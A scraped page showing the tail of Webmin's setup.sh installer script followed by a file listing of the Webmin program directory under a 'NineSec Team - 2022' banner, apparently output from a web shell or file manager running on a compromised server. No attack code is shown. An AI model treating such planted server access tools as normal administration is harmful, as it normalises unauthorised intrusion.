oldtheme=`echo $oldthemeline | sed -e 's/theme=//g'`
if [ "$theme" != "" ] && [ "$oldthemeline" = "" ] && [ -d "$wadir/$theme" ]; then
	themelist=$theme
fi

# Set a special overlay if none was set before
if [ "$overlay" = "" ]; then
	overlay=`cat "$wadir/defaultoverlay" 2>/dev/null`
fi
if [ "$overlay" != "" ] && [ "$theme" != "" ] && [ -d "$wadir/$overlay" ]; then
	themelist="$themelist $overlay"
fi

# Apply the theme and maybe overlay
if [ "$themelist" != "" ]; then
	echo "theme=$themelist" >> $config_dir/config
	echo "preroot=$themelist" >> $config_dir/miniserv.conf
fi

# If the old blue-theme is still in use, change it
oldtheme=`grep "^theme=" $config_dir/config | sed -e 's/theme=//g'`
if [ "$oldtheme" = "blue-theme" ]; then
   echo "theme=gray-theme" >> $config_dir/config
   echo "preroot=gray-theme" >> $config_dir/miniserv.conf
fi

# Set the product field in the global config
grep product= $config_dir/config >/dev/null
if [ "$?" != "0" ]; then
	echo product=webmin >> $config_dir/config
fi

if [ "$makeboot" = "1" ]; then
	echo "Configuring Webmin to start at boot time .."
	(cd "$wadir/init" ; WEBMIN_CONFIG=$config_dir WEBMIN_VAR=$var_dir "$wadir/init/atboot.pl" $bootscript)
	echo ".. done"
	echo ""
fi

# If password delays are not specifically disabled, enable them
grep passdelay= $config_dir/miniserv.conf >/dev/null
if [ "$?" != "0" ]; then
	echo passdelay=1 >> $config_dir/miniserv.conf
fi

if [ "$nouninstall" = "" ]; then
	echo "Creating uninstall script $config_dir/uninstall.sh .."
	cat >$config_dir/uninstall.sh <<EOF
#!/bin/sh
printf "Are you sure you want to uninstall Webmin? (y/n) : "
read answer
printf "\n"
if [ "\$answer" = "y" ]; then
	$config_dir/stop
	echo "Running uninstall scripts .."
	if [ -r "$wadir/run-uninstalls.pl" ]; then
		(cd "$wadir" ; WEBMIN_CONFIG=$config_dir WEBMIN_VAR=$var_dir LANG= "$wadir/run-uninstalls.pl") >/dev/null 2>&1 </dev/null
	fi
	echo "Deleting $wadir .."
	rm -rf "$wadir"
	echo "Deleting $config_dir .."
	rm -rf "$config_dir"
	echo "Deleting $var_dir .."
	rm -rf "$var_dir"
	echo "Done!"
fi
EOF
	chmod +x $config_dir/uninstall.sh
	echo ".. done"
	echo ""
fi

echo "Changing ownership and permissions .."
# Make all config dirs non-world-readable
for m in $newmods; do
	chown -R root $config_dir/$m
	chgrp -R bin $config_dir/$m
	chmod -R og-rw $config_dir/$m
done
# Make miniserv config files non-world-readable
for f in miniserv.conf miniserv.pem miniserv.users; do
	chown -R root $config_dir/$f
	chgrp -R bin $config_dir/$f
	chmod -R og-rw $config_dir/$f
done
chmod +r $config_dir/version
if [ "$nochown" = "" ]; then
	# Make program directory non-world-writable, but executable
	chown -R root "$wadir"
	chgrp -R bin "$wadir"
	chmod -R og-w "$wadir"
	chmod -R a+rx "$wadir"
fi
if [ $var_dir != "/var" -a "$upgrading" != 1 ]; then
	# Make log directory non-world-readable or writable
	chown -R root $var_dir
	chgrp -R bin $var_dir
	chmod -R og-rwx $var_dir
fi
# Fix up bad permissions from some older installs
for m in ldap-client ldap-server ldap-useradmin mailboxes mysql postgresql servers virtual-server; do
	if [ -d "$config_dir/$m" ]; then
		chown root $config_dir/$m
		chgrp bin $config_dir/$m
		chmod og-rw $config_dir/$m
		chmod og-rw $config_dir/$m/config 2>/dev/null
	fi
done
echo ".. done"
echo ""

# Save target directory if one was specified
if [ "$wadir" != "$srcdir" ]; then
	echo $wadir >$config_dir/install-dir
else
	rm -f $config_dir/install-dir
fi

if [ "$nopostinstall" = "" ]; then
	echo "Running postinstall scripts .."
	(cd "$wadir" ; WEBMIN_CONFIG=$config_dir WEBMIN_VAR=$var_dir WEBMIN_UPGRADING="$upgrading" "$wadir/run-postinstalls.pl")
	echo ".. done"
	echo ""
fi

# Enable background collection
if [ "$upgrading" != 1 -a -r $config_dir/system-status/enable-collection.pl ]; then
	echo "Enabling background status collection .."
	$config_dir/system-status/enable-collection.pl 5
	echo ".. done"
	echo ""
fi

# Run package-defined post-install script
if [ -r "$srcdir/setup-post.sh" ]; then
	. "$srcdir/setup-post.sh"
fi

if [ "$nostart" = "" ]; then
	if [ "$inetd" != "1" ]; then
		action="start"
		if [ "$upgrading" = "1" ]; then
			action="restart"
		fi
		echo "Attempting to $action Webmin web server .."
		# If upgrading, restart
		if [ "$upgrading" = "1" ]; then
			if [ "$killmodenonesh" != "1" ]; then
				$config_dir/.post-install >/dev/null 2>&1 </dev/null
			else
				$config_dir/.reload-init >/dev/null 2>&1 </dev/null
			fi
		# If installing first time, start it
		else
			$config_dir/start >/dev/null 2>&1 </dev/null
		fi

		if [ $? != "0" ]; then
			echo "ERROR: Failed to $action web server!"
			echo ""
			exit 14
		fi
		echo ".. done"
		echo ""
	fi
	postactionmsg="installed"
	postactionmsg2="started"
	if [ "$upgrading" = "1" ]; then
		postactionmsg="upgraded"
		postactionmsg2="restarted"
	fi
	echo "****************************************************************************"
	echo "Webmin has been $postactionmsg and $postactionmsg2 successfully."
	echo ""
	if [ "$nodepsmsg" = "" -a "$upgrading" != 1 ]; then
		echo "Since Webmin was installed outside the package manager, ensure the"
		echo "following recommended Perl modules and packages are present:"
		echo " Perl modules:"
		echo "  - DateTime, DateTime::Locale, DateTime::TimeZone, Data::Dumper"
		echo "  - Digest::MD5, Digest::SHA, Encode::Detect, File::Basename"
		echo "  - File::Path, Net::SSLeay, Time::HiRes, Time::Local, Time::Piece"
		echo "  - lib, open"
		echo " Packages:"
		echo "  - openssl - Cryptography library with TLS implementation"
		echo "  - shared-mime-info - Shared MIME information database"
		echo "  - tar gzip unzip - File compression and packaging utilities"
		echo ""
	fi
	echo "Use your web browser to go to the following URL and login"
	echo "with the name and password you entered previously:"
	echo ""
	if [ "$ssl" = "1" ]; then
		echo "  https://$host:$port"
	else
		echo "  http://$host:$port"
	fi
	echo ""
	if [ "$ssl" = "1" ]; then
		echo "Because Webmin uses SSL for encryption only, the certificate"
		echo "it uses is not signed by one of the recognized CAs such as"
		echo "Verisign. When you first connect to the Webmin server, your"
		echo "browser will ask you if you want to accept the certificate"
		echo "presented, as it does not recognize the CA. Say yes."
		echo ""
	fi
fi

if [ "$oldwadir" != "$wadir" -a "$upgrading" = 1 -a "$deletedold" != 1 ]; then
	echo "The directory from the previous version of Webmin"
	echo "   $oldwadir"
	echo "Can now be safely deleted to free up disk space, assuming"
	echo "that all third-party modules have been copied to the new"
	echo "version."
	echo ""
fi

NineSec Team - 2022
Name
Size
Last Modified
Owner
Permissions
Options
..
--
April 08 2025 12:08:09
root
0755
acl
--
December 13 2023 9:43:47
root
0755
adsl-client
--
December 13 2023 9:43:47
root
0755
apache
--
December 13 2023 9:43:47
root
0755
at
--
December 13 2023 9:43:47
root
0755
authentic-theme
--
December 13 2023 9:45:33
root
0755
backup-config
--
December 13 2023 9:43:47
root
0755
bacula-backup
--
December 13 2023 9:43:47
root
0755
bandwidth
--
December 13 2023 9:43:47
root
0755
bin
--
December 13 2023 9:43:47
root
0755
bind8
--
December 13 2023 9:43:47
root
0755
blue-theme
--
December 13 2023 9:43:47
root
0755
change-user
--
December 13 2023 9:43:47
root
0755
cluster-copy
--
December 13 2023 9:43:47
root
0755
cluster-cron
--
December 13 2023 9:43:47
root
0755
cluster-passwd
--
December 13 2023 9:43:47
root
0755
cluster-shell
--
December 13 2023 9:43:47
root
0755
cluster-software
--
December 13 2023 9:43:47
root
0755
cluster-useradmin
--
December 13 2023 9:43:47
root
0755
cluster-usermin
--
December 13 2023 9:43:47
root
0755
cluster-webmin
--
December 13 2023 9:43:47
root
0755
cpan
--
December 13 2023 9:43:47
root
0755
cron
--
December 13 2023 9:43:47
root
0755
custom
--
December 13 2023 9:43:47
root
0755
dfsadmin
--
December 13 2023 9:43:47
root
0755
dhcpd
--
December 13 2023 9:43:47
root
0755
dovecot
--
December 13 2023 9:43:47
root
0755
exim
--
December 13 2023 9:43:47
root
0755
exports
--
December 13 2023 9:43:47
root
0755
fail2ban
--
December 13 2023 9:43:47
root
0755
fdisk
--
December 13 2023 9:43:47
root
0755
fetchmail
--
December 13 2023 9:43:47
root
0755
filemin
--
December 13 2023 9:43:47
root
0755
filter
--
December 13 2023 9:43:47
root
0755
firewall
--
December 13 2023 9:43:47
root
0755
firewall6
--
December 13 2023 9:43:47
root
0755
firewalld
--
December 13 2023 9:43:47
root
0755
fsdump
--
December 13 2023 9:43:47
root
0755
gray-theme
--
December 13 2023 9:43:47
root
0755
heartbeat
--
December 13 2023 9:43:47
root
0755
htaccess-htpasswd
--
December 13 2023 9:43:47
root
0755
idmapd
--
December 13 2023 9:43:47
root
0755
images
--
December 13 2023 9:43:47
root
0755
inetd
--
December 13 2023 9:43:47
root
0755
init
--
December 13 2023 9:43:47
root
0755
inittab
--
December 13 2023 9:43:47
root
0755
ipfilter
--
December 13 2023 9:43:47
root
0755
ipfw
--
December 13 2023 9:43:47
root
0755
ipsec
--
December 13 2023 9:43:47
root
0755
iscsi-client
--
December 13 2023 9:43:47
root
0755
iscsi-server
--
December 13 2023 9:43:47
root
0755
iscsi-target
--
December 13 2023 9:43:47
root
0755
iscsi-tgtd
--
December 13 2023 9:43:47
root
0755
jailkit
--
October 23 2023 6:29:17
root
0755
krb5
--
December 13 2023 9:43:47
root
0755
lang
--
December 13 2023 9:43:47
root
0755
ldap-client
--
December 13 2023 9:43:47
root
0755
ldap-server
--
December 13 2023 9:43:47
root
0755
ldap-useradmin
--
December 13 2023 9:43:47
root
0755
logrotate
--
December 13 2023 9:43:47
root
0755
logviewer
--
December 13 2023 9:43:47
root
0755
lpadmin
--
December 13 2023 9:43:47
root
0755
lvm
--
December 13 2023 9:43:47
root
0755
mailboxes
--
December 13 2023 9:43:47
root
0755
mailcap
--
December 13 2023 9:43:47
root
0755
man
--
December 13 2023 9:43:47
root
0755
mount
--
December 13 2023 9:43:47
root
0755
mysql
--
December 13 2023 9:43:47
root
0755
net
--
December 13 2023 9:43:47
root
0755
nis
--
December 13 2023 9:43:47
root
0755
openslp
--
December 13 2023 9:43:47
root
0755
package-updates
--
December 13 2023 9:43:47
root
0755
pam
--
December 13 2023 9:43:47
root
0755
pap
--
December 13 2023 9:43:47
root
0755
passwd
--
December 13 2023 9:43:47
root
0755
php-pear
--
March 29 2022 10:50:27
root
0755
phpini
--
December 13 2023 9:43:47
root
0755
postfix
--
December 13 2023 9:43:47
root
0755
postgresql
--
December 13 2023 9:43:47
root
0755
ppp-client
--
December 13 2023 9:43:47
root
0755
pptp-client
--
December 13 2023 9:43:47
root
0755
pptp-server
--
December 13 2023 9:43:47
root
0755
proc
--
December 13 2023 9:43:47
root
0755
procmail
--
December 13 2023 9:43:47
root
0755
proftpd
--
December 13 2023 9:43:47
root
0755
qmailadmin
--
December 13 2023 9:43:47
root
0755
quota
--
December 13 2023 9:43:47
root
0755
raid
--
December 13 2023 9:43:47
root
0755
ruby-gems
--
March 29 2022 10:50:27
root
0755
samba
--
December 13 2023 9:43:47
root
0755
sarg
--
December 13 2023 9:43:47
root
0755
sendmail
--
December 13 2023 9:43:47
root
0755
servers
--
December 13 2023 9:43:47
root
0755
shell
--
December 13 2023 9:43:47
root
0755
shorewall
--
December 13 2023 9:43:47
root
0755
shorewall6
--
December 13 2023 9:43:47
root
0755
smart-status
--
December 13 2023 9:43:47
root
0755
smf
--
December 13 2023 9:43:47
root
0755
software
--
December 13 2023 9:43:47
root
0755
spam
--
December 13 2023 9:43:47
root
0755
squid
--
December 13 2023 9:43:47
root
0755
sshd
--
December 13 2023 9:43:47
root
0755
status
--
December 13 2023 9:43:47
root
0755
stunnel
--
December 13 2023 9:43:47
root
0755
syslog
--
December 13 2023 9:43:47
root
0755
syslog-ng
--
December 13 2023 9:43:47
root
0755
system-status
--
December 13 2023 9:43:47
root
0755
tcpwrappers
--
December 13 2023 9:43:47
root
0755
time
--
December 13 2023 9:43:47
root
0755
tunnel
--
December 13 2023 9:43:47
root
0755
unauthenticated
--
December 13 2023 9:43:47
root
0755
updown
--
December 13 2023 9:43:47
root
0755
useradmin
--
December 13 2023 9:43:47
root
0755
usermin
--
December 13 2023 9:43:47
root
0755
vendor_perl
--
December 13 2023 9:43:47
root
0755
virtual-server
--
February 12 2024 9:07:27
root
0755
virtualmin-awstats
--
February 14 2023 5:45:14
root
0755
virtualmin-dav
--
March 29 2022 10:50:44
root
0755
virtualmin-git
--
March 29 2022 10:50:44
root
0755
virtualmin-htpasswd
--
October 23 2023 6:29:20
root
0755
virtualmin-init
--
March 29 2022 10:50:45
root
0755
virtualmin-registrar
--
March 29 2022 10:50:46
root
0755
virtualmin-slavedns
--
March 29 2022 10:50:47
root
0755
virtualmin-sqlite
--
March 29 2022 10:50:47
root
0755
webalizer
--
December 13 2023 9:43:47
root
0755
webmin
--
December 13 2023 9:43:47
root
0755
webmincron
--
December 13 2023 9:43:47
root
0755
webminlog
--
December 13 2023 9:43:47
root
0755
xinetd
--
December 13 2023 9:43:47
root
0755
xterm
--
December 13 2023 9:43:47
root
0755
LICENCE
1.48 KB
November 08 2023 4:49:09
root
0644
LICENCE.ja
1.615 KB
November 08 2023 4:49:09
root
0644
README.md
4.254 KB
November 08 2023 4:49:09
root
0644
WebminCore.pm
8.115 KB
November 08 2023 4:49:09
root
0644
acl_security.pl
4.514 KB
November 08 2023 4:49:09
root
0755
changepass.pl
0.848 KB
November 08 2023 4:49:49
root
0755
chooser.cgi
7.214 KB
November 08 2023 4:49:48
root
0755
config-aix
0.222 KB
November 08 2023 4:49:09
root
0644
config-cobalt-linux
0.258 KB
November 08 2023 4:49:09
root
0644
config-coherent-linux
0.258 KB
November 08 2023 4:49:09
root
0644
config-corel-linux
0.258 KB
November 08 2023 4:49:09
root
0644
config-debian-linux
0.258 KB
November 08 2023 4:49:09
root
0644
config-freebsd
0.25 KB
November 08 2023 4:49:09
root
0644
config-generic-linux
0.258 KB
November 08 2023 4:49:09
root
0644
config-gentoo-linux
0.258 KB
November 08 2023 4:49:09
root
0644
config-hpux
0.237 KB
November 08 2023 4:49:09
root
0644
config-irix
0.277 KB
November 08 2023 4:49:09
root
0644
config-lib.pl
10.818 KB
November 08 2023 4:49:09
root
0755
config-macos
0.254 KB
November 08 2023 4:49:09
root
0644
config-mandrake-linux
0.271 KB
November 08 2023 4:49:09
root
0644
config-msc-linux
0.258 KB
November 08 2023 4:49:09
root
0644
config-netbsd
0.276 KB
November 08 2023 4:49:09
root
0644
config-open-linux
0.258 KB
November 08 2023 4:49:09
root
0644
config-openbsd
0.235 KB
November 08 2023 4:49:09
root
0644
config-openmamba-linux
0.258 KB
November 08 2023 4:49:09
root
0644
config-openserver
0.23 KB
November 08 2023 4:49:09
root
0644
config-osf1
0.26 KB
November 08 2023 4:49:09
root
0644
config-pardus-linux
0.258 KB
November 08 2023 4:49:09
root
0644
config-redhat-linux
0.258 KB
November 08 2023 4:49:09
root
0644
config-slackware-linux
0.273 KB
November 08 2023 4:49:09
root
0644
config-sol-linux
0.258 KB
November 08 2023 4:49:09
root
0644
config-solaris
0.407 KB
November 08 2023 4:49:09
root
0644
config-suse-linux
0.258 KB
November 08 2023 4:49:09
root
0644
config-syno-linux
0.355 KB
November 08 2023 4:49:09
root
0644
config-trustix-linux
0.258 KB
November 08 2023 4:49:09
root
0644
config-turbo-linux
0.258 KB
November 08 2023 4:49:09
root
0644
config-united-linux
0.258 KB
November 08 2023 4:49:09
root
0644
config-unixware
0.279 KB
November 08 2023 4:49:09
root
0644
config-windows
0.086 KB
November 08 2023 4:49:09
root
0644
config.cgi
1.551 KB
November 08 2023 4:49:48
root
0755
config_save.cgi
1.636 KB
November 08 2023 4:49:48
root
0755
copyconfig.pl
4.332 KB
November 08 2023 4:49:49
root
0755
create-module.pl
3.95 KB
November 08 2023 4:49:49
root
0755
date_chooser.cgi
2.188 KB
November 08 2023 4:49:48
root
0755
deb-name
0.007 KB
November 08 2023 4:49:49
root
0644
defaultacl
0.096 KB
November 08 2023 4:49:09
root
0644
defaulttheme
0.016 KB
November 08 2023 4:49:09
root
0644
entities_map.txt
1.466 KB
November 08 2023 4:49:09
root
0644
fastrpc.cgi
10.184 KB
November 08 2023 4:49:48
root
0755
favicon.ico
14.732 KB
November 08 2023 4:49:09
root
0644
feedback.cgi
6.366 KB
November 08 2023 4:49:48
root
0755
feedback_form.cgi
3.45 KB
November 08 2023 4:49:48
root
0755
group_chooser.cgi
7.51 KB
November 08 2023 4:49:48
root
0755
help.cgi
2.114 KB
November 08 2023 4:49:48
root
0755
html-editor-lib.pl
17.434 KB
November 08 2023 4:49:09
root
0644
index.cgi
5.61 KB
November 08 2023 4:49:49
root
0755
install-module.pl
1.538 KB
November 08 2023 4:49:49
root
0755
install-type
0.004 KB
November 08 2023 4:49:49
root
0644
javascript-lib.pl
14.689 KB
November 08 2023 4:49:09
root
0755
lang_list.txt
3.405 KB
November 08 2023 4:49:09
root
0644
maketemp.pl
0.414 KB
November 08 2023 4:49:09
root
0755
mime.types
12.418 KB
November 08 2023 4:49:09
root
0644
miniserv.pem
2.899 KB
November 08 2023 4:49:09
root
0644
miniserv.pl
181.17 KB
November 08 2023 4:49:49
root
0755
module_chooser.cgi
4.14 KB
November 08 2023 4:49:48
root
0755
newmods.pl
1.25 KB
November 08 2023 4:49:09
root
0755
os_list.txt
34.343 KB
November 08 2023 4:49:09
root
0644
oschooser.pl
4.546 KB
November 08 2023 4:49:49
root
0755
pam_login.cgi
2.834 KB
November 08 2023 4:49:48
root
0755
password_change.cgi
7.005 KB
November 08 2023 4:49:49
root
0755
password_form.cgi
1.296 KB
November 08 2023 4:49:48
root
0755
perlpath.pl
0.558 KB
November 08 2023 4:49:49
root
0755
record-failed.pl
0.491 KB
November 08 2023 4:49:49
root
0755
record-login.pl
0.501 KB
November 08 2023 4:49:49
root
0755
record-logout.pl
0.504 KB
November 08 2023 4:49:49
root
0755
robots.txt
0.025 KB
November 08 2023 4:49:09
root
0644
rpc.cgi
3.995 KB
November 08 2023 4:49:49
root
0755
run-postinstalls.pl
1 KB
November 08 2023 4:49:49
root
0755
run-uninstalls.pl
0.98 KB
November 08 2023 4:49:49
root
0755
safeacl
0.043 KB
November 08 2023 4:49:09
root
0644
session_login.cgi
3.546 KB
November 08 2023 4:49:49
root
0755
setup-repos.sh
5.145 KB
November 08 2023 4:49:09
root
0755
setup.bat
3.086 KB
November 08 2023 4:49:09
root
0644
setup.pl
31.846 KB
November 08 2023 4:49:49
root
0755
setup.sh
33.085 KB
November 08 2023 4:49:09
root
0755
switch_skill.cgi
0.286 KB
November 08 2023 4:49:48
root
0755
switch_theme.cgi
1.276 KB
November 08 2023 4:49:49
root
0755
switch_user.cgi
0.395 KB
November 08 2023 4:49:49
root
0755
thirdparty.pl
1.732 KB
November 08 2023 4:49:09
root
0755
ui-lib.pl
97.904 KB
November 08 2023 4:49:09
root
0755
update-from-repo.sh
14.8 KB
November 08 2023 4:49:09
root
0755
uptracker.cgi
2.879 KB
November 08 2023 4:49:48
root
0755
user_chooser.cgi
7.394 KB
November 08 2023 4:49:48
root
0755
version
0.006 KB
November 08 2023 4:49:09
root
0644
web-lib-funcs.pl
371.256 KB
November 08 2023 4:49:09
root
0755
web-lib.pl
1.081 KB
November 08 2023 4:49:09
root
0755
webmin-daemon
0.078 KB
November 08 2023 4:49:09
root
0644
webmin-init
1.932 KB
November 08 2023 4:49:09
root
0755
webmin-pam
0.099 KB
November 08 2023 4:49:09
root
0644
webmin-search-lib.pl
9.454 KB
November 08 2023 4:49:09
root
0755
webmin-systemd
0.432 KB
November 08 2023 4:49:09
root
0644
webmin_search.cgi
2.634 KB
November 08 2023 4:49:48
root
0755
xmlrpc.cgi
7.528 KB
November 08 2023 4:49:48
root
0755

NineSec Team - 2022